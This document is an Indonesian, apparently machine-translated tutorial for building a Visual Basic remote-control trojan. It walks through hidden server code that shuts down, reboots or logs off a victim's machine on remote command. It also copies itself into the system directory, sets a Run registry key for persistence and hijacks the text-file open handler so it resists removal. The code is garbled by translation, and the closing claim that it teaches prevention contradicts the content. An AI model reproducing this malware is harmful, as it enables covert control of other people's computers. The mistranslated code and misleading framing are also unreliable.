Pertama, buat proyek baru bernama Server, buat formulir baru dengan Nama sebagai Server, tambahkan kontrol winock ke formulir, atur Nama ke sckServer, dan atur protokol ke protokol TCP/ip default.
Selanjutnya, kita kembali ke modul formulir Server dan menambahkan kode berikut:
->PRivateSubform_Load()
Denganku
.sckServer.LocalPort=88917'Port lokal (haha! Ulang tahunku!)
.sckServer.Listen'Mulai mendengarkan
BerakhirDengan
Sub Akhir
'Terima permintaan koneksi klien.
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
Denganku
Jika.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Terima(ID permintaan)
BerakhirDengan
Sub Akhir->
Selanjutnya, mari kita buat program klien: buat proyek baru bernama Klien, beri nama formulir Klien, tambahkan kontrol winock di dalamnya, beri nama sckClient, dan protokolnya adalah protokol TCP/IP. Tambahkan tombol lain cmdConnect dan tambahkan kode ke modul formulir:
->PrivateSubform_Load()
Denganku
.sckClient.RemoteHost=127.0.0.1'Atur IP jarak jauh.
.sckClient.RemotePort=88917'Remote port sama dengan pengaturan di server.
BerakhirDengan
Sub Akhir
Subcmd PribadiConnect_Click()
SckClient.Hubungkan
Sub-akhir->
Pada titik ini, ketika kita mengklik tombol Connect, kedua proyek kita dapat berkomunikasi, tetapi keduanya tidak terlihat. Anda dapat menambahkan kode ke acara sckClient_Connect di Klien: debug.printConnetionsuccessful!
Ini hanya langkah pertama, dan belum ada pekerjaan yang dilakukan sama sekali. Mari tambahkan fungsionalitas ke dalamnya. Demi kesederhanaan, artikel ini hanya mengimplementasikan beberapa fungsi kecil-shutdown, restart, dan logout. Oke, mari kita mulai!
Buat modul baru di proyek Server dengan nama modApi. Modul ini berisi beberapa fungsi API berikut:
-> PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublikConstEWX_LOGOFF=0
PublikConstEWX_REBOOT=2
PublikConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
Tipe PublikRECT
KiriAsLong
TopAsLong
Benar Selamanya
Bawah Selamanya
Tipe Akhir->
Catatan: Dalam pemrograman antara dua soket, kejadian penting untuk komunikasi adalah kejadian DataArrival, yang digunakan untuk menerima data jarak jauh.
Selanjutnya letakkan tiga tombol pada form Client dari proyek Client yaitu cmdExit, cmdLogoff, dan cmdReboot. Mereka digunakan untuk mematikan jarak jauh, logout, dan memulai ulang operasi. Tambahkan kode berikut masing-masing:
->PrivateSubcmdExit_Click()
Saya.sckClient.SendDataExit
Sub Akhir
PrivateSubcmdLogoff_Click()
Saya.sckClient.SendDataLogoff
Sub Akhir
PrivateSubcmdReboot_Click()
Saya.sckClient.SendDataReboot
Sub Akhir->
Semua permintaan dibuat ke server. Sekarang masuk ke proyek Server: tambahkan acara DataArrial sckServer di Server untuk menerima permintaan klien.
->PrivateSubsckServer_DataArrival(BerdasarkanValbytesTotalAsLong)
DimstrDataAsString
Denganku
'Menerima informasi yang diminta oleh pelanggan
.sckServer.GetDatastrData
PilihCasestrData
Keluar Kasus
'Menutup
PanggilanExitWindowXXX(EWX_SHUTDOWN,0)
KasusReboot
'Mulai ulang
PanggilanExitWindowXXX(EWX_REBOOT,0)
KasusLogoff
'Keluar
PanggilanExitWindowXXX(EWX_LOGOFF,0)
Pilihan Akhir
BerakhirDengan
Sub Akhir->
Oke, sekarang kita sudah mengimplementasikan fungsinya, tapi belum, kita ingin dijalankan di belakang layar. Ini sederhana, tambahkan kalimat: me.hide ke acara form_Load di Server. Untungnya, hal ini tidak terlihat sekarang, tetapi semua orang tahu bahwa Trojan berjalan secara otomatis segera setelah komputer dihidupkan. Tambahkan ke grup startup di registri? Ya, bagus, ikut aku!
Kembali ke modApi di proyek Server dan tambahkan fungsi API berikut:
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublikConstREG_BINARY=3
PublikConstREG_SZ=1
PublikConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Sebuah proses yang menulis ke grup startup registri.
->PublikSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsPanjang
DimsKeyValAsString
sKey=Systrsy'Mulai kunci dalam grup dan temukan yang mirip dengan file sistem.
sKeyVal=C:/windows/system/systrsy.exe'Jalur file Trojan. Anda dapat menggunakan GetSystemDirectory untuk mendapatkan jalur sistem.
hasil=RegOpenKey(HKEY_LOCAL_MACHINE,_
Perangkat Lunak/Microsoft/Windows/Versi Saat Ini/Jalankan,hKeyID)
Jikahasil=0Lalu
hasil=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
AkhirJika
Sub Akhir->
Ya, itu saja. Namun pernahkah terpikir, jika Anda bukan pemula dan menghapusnya dari registry, bukankah kerja keras kita akan sia-sia? Tidak, Anda harus membuatnya mustahil untuk menghapusnya meskipun dia menemukannya. Silakan lihat kode di bawah ini:
->PublikSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsPanjang
DimskeyAsString
DimskeyValAsString
skey=txtfile/shell/open/command
skeyVal=C:/windows/system/txtView.exe
hasil=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Jikahasil=0Lalu
hasil=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
AkhirJika
Sub Akhir->
Sekilas teman-teman pasti sudah tahu kalau awalnya dikaitkan dengan file txt, lumayan lah, tapi darimana C:/windows/system/txtView.exe berasal? /systrsy.exe. Ini adalah tiruan dari kuda Troya kami.
Oke, kembali ke form_Load dari form Server proyek Server dan tambahkan kode berikut:
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/system
OnErrorResumeBerikutnya
'Salin file ke Systrsy.exe di direktori sistem
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeBerikutnya
Salin file ke txtView.exe di direktori sistem
FileCopysCurrentPath,sSystemDir&/txtView.exe->
panggilan
->PanggilanGrup Startup
PanggilanWriteToTxt
'Tentukan apakah program sedang berjalan
IfApp.PrevInstanceThen
'Keluar jika sudah berjalan.
Akhir
AkhirJika->
Melihat:
1. Saat menangani port, yang terbaik adalah menggunakan port kelas atas, jika tidak port tersebut akan bertentangan dengan beberapa port yang umum digunakan.
2. Yang terbaik adalah membaca buku yang relevan saat menggunakan VB.NET untuk pertama kalinya.
->
Di atas adalah cara menggunakan Visual Basic untuk mencegah serangan Trojan. Saya harap Anda semua mengenal diri sendiri dan musuh serta melakukan tindakan pencegahan sebelum terjadi!